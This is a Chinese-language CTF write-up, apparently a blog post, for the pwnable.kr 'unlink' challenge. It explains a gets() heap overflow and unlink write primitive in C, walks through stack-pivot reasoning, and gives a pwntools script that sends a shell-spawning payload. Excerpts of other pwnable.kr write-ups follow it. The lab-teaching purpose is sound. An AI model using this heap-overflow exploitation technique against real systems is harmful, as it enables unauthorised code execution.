【pwnable.kr】 unlink

pwnable.kr 第一阶段的最后一题!

这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考《C和C++安全编码一书》//不是广告

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

这道题在get(A->buf)处存在明显的堆溢出,可以覆盖A->buf以后全部堆内存。

首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。

该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。

1. 最初的想法通过上述的DWORD SHOOT覆写Unlink函数的返回地址,将该返回地址改为shell函数的返回地址。可能导致在Unlink返回时跳转到shell函数去

即:

  B->bk = Unlink的返回地址

  B->bk = Shell函数的起始地址

根据覆写流程,会产生一个副作用,即[Shell函数的起始地址+4 ] = Unlink的返回地址

当该副作用产生时,shell函数内容会被篡改,导致出错该方案行不通。

2. 第二种考虑将shellcode写在溢出的堆上,同样利用上述方法,将返回地址写到堆上的地址,然后再使用跳转,至shell函数中以获得flag。

堆内存即

A结构+B->fd+B->bk+nop*n + jmp shell + jmp short xxx

其中返回地址覆写为jmp short xxx,这样Unlink结束后跳转至jmp short xx指令,jmp短跳转至nop然后再jmp shell导致获取权限。

这样覆写位置在jmp short xx指令后,对执行函数无影响,方案貌似可行。

这时存在的问题是需要在堆上执行代码,需要堆上的数据有执行权限。查看一下开启的保护:

发现开启了NX保护,堆上代码不可执行,因此该方案也无效。

3. 最终,无可奈何只能继续往下面找,发现unlink函数没有可以利用的地方了,然后main函数直接结束了,也没有给出之前做过的覆写GOT表的机会。

最终在main函数返回时找到可以利用的地方。

retn指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。

而再之前 lea esp,[ecx-4]即把ecx-4地址中的数据赋给esp。

而在此逆推ecx的值是从mov ecx,[ebp-4]中得到的。

而leave指令相当于mov esp ebp,pop ebp,对esp数据的来源无影响。

ebp在整个main函数运行中是不变的。

因此,可以构造 [ecx-4] = shell的起始地址

这样 就可以先把 shell的起始地址写到一个内存地址(如可以在A->buf的起始部分输入shell函数地址),ecx再指向该地址+4.

进一步就是将ebp-4地址中的值覆写成上面的地址+4.

======================思路over===========================================

因此输入的内容就是shell地址+填充字符 + B->fb + B->bk就可以了。

根据前一篇文中堆块的地址分配,malloc(sizeof(OBJ)的大小就应该是8 * (int(4+4+8 + 4)/8 +1) = 24

A->buf = 12,再加上B堆块固有的堆块大小及标志位4字节,shell+填充字符共计为16字节。

假设A->buf的地址记为shell,shell = A+8

下一步要解决的是B->fb和B->bk问题。

    BK=B->bk;
    FD=B->fd;
    FD->bk=BK;
    BK->fd=FD;

由OBJ结构可知OBJ->fb = OBJ,OBJ->bk=OBJ+4.

所以,覆写就有两种覆写方法,BK为shell+4,或者BK为EBP-4

当BK= shell+4 时,FD + 4 = EBP-4,FD=EBP-8 , 覆写时,[shell + 4 ] = EBP-8

当BK = EBP-4时,FD + 4 = shell +4 ,FD = shell,  覆写时,[shell+4] = EBP-4

二者的覆写均无影响。

再说,shell的值与EBP的值如何获得。

shell  = A + 8,A可由打印的第二个值获得。

而EBP可由反汇编代码中看到,

&A= EBP-0x14

由上述两种方法求得的fb、bk分别

1.

payload += p32(heap_addr + 12)
payload += p32(stack_addr + 0x10)

2.

payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )

编写payload脚本

from pwn import *

shell_addr = 0x080484eb

s =  ssh(host=‘pwnable.kr‘,
         port=2222,
         user=‘unlink‘,
         password=‘guest‘
        )
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)
payload += ‘a‘*12
#payload += p32(heap_addr + 12)
#payload += p32(stack_addr + 0x10)

payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )

p.send(payload)
p.interactive()

时间: 2024-10-10 09:50:06

【pwnable.kr】 unlink的相关文章

【pwnable.kr】bof

pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 很简单的一道栈溢出题目. 依然先读代码: #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overfl

【pwnable.kr】leg

pwnable从入门到放弃第八题. Download : http://pwnable.kr/bin/leg.cDownload : http://pwnable.kr/bin/leg.asm ssh [email protected] -p2222 (pw:guest) 先下载这两个文件:leg.c #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2

【pwnable.kr】 asm

一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sa

【pwnable.kr】 codemap

pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh [email protected] -p2222 (pw:guest) 这道题虽然是在pwnable下,但是是一道逆向题... //前web狗膜一发二进制大佬 根据提示,需要查看 0x403E65 运行时,寄存器 EAX,EBX 的内容. 先不考虑运行的内容,先看程序.首先这个程序没有加壳,直接可以用ida查看内容. 然后可以看到程序的框架,在main函数中,默默按下F5..

【pwnable.kr】 flag

pwnable从入门到放弃 第四题 Download : http://pwnable.kr/bin/flag 下载下来的二进制文件,对着它一脸懵逼,题目中说是逆向题,这我哪会啊... 用ida打开看一下源代码,居然没有main函数. 继续懵逼. 对, 又一次看了别人的题解,居然是加壳的,怪不得图片就是个壳,我哪会砸壳啊??? 还好有工具,轮子大法好,用strings命令发现程序有许多"UPX"字符串,是UPX壳. 在GitHub上找了一个UPX壳砸壳自动化工具: https://gi

【pwnable.kr】blackjack

又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html 第一反应是源代码这么长,还不如先玩玩看. 首先,看一下游戏规则发现和21点游戏是一样的,可能国外就叫blackjack吧. 每次,让游戏中下注,然后和电脑比赛,下注的金额不能超过所持有的金额. 这尼玛发牌函数也是随机的,就算你运气再好,算法再牛,想挣100w

【pwnable.kr】 mistake

又一道pwnable,我还没放弃.. ssh [email protected] -p2222 (pw:guest) 源代码如下: #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; } } int main(int argc, char*

【pwnable.kr】 shellshock

pwnable从入门到放弃,第五题. ssh [email protected] -p2222 (pw:guest) 这题主要涉及了一个关于bash的CVE漏洞. 首先还是下载源代码审计一下,shellshock.c #include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/sh

【pwnable.kr】 uaf

目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh [email protected] -p2222 (pw:guest) 先看一下代码 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace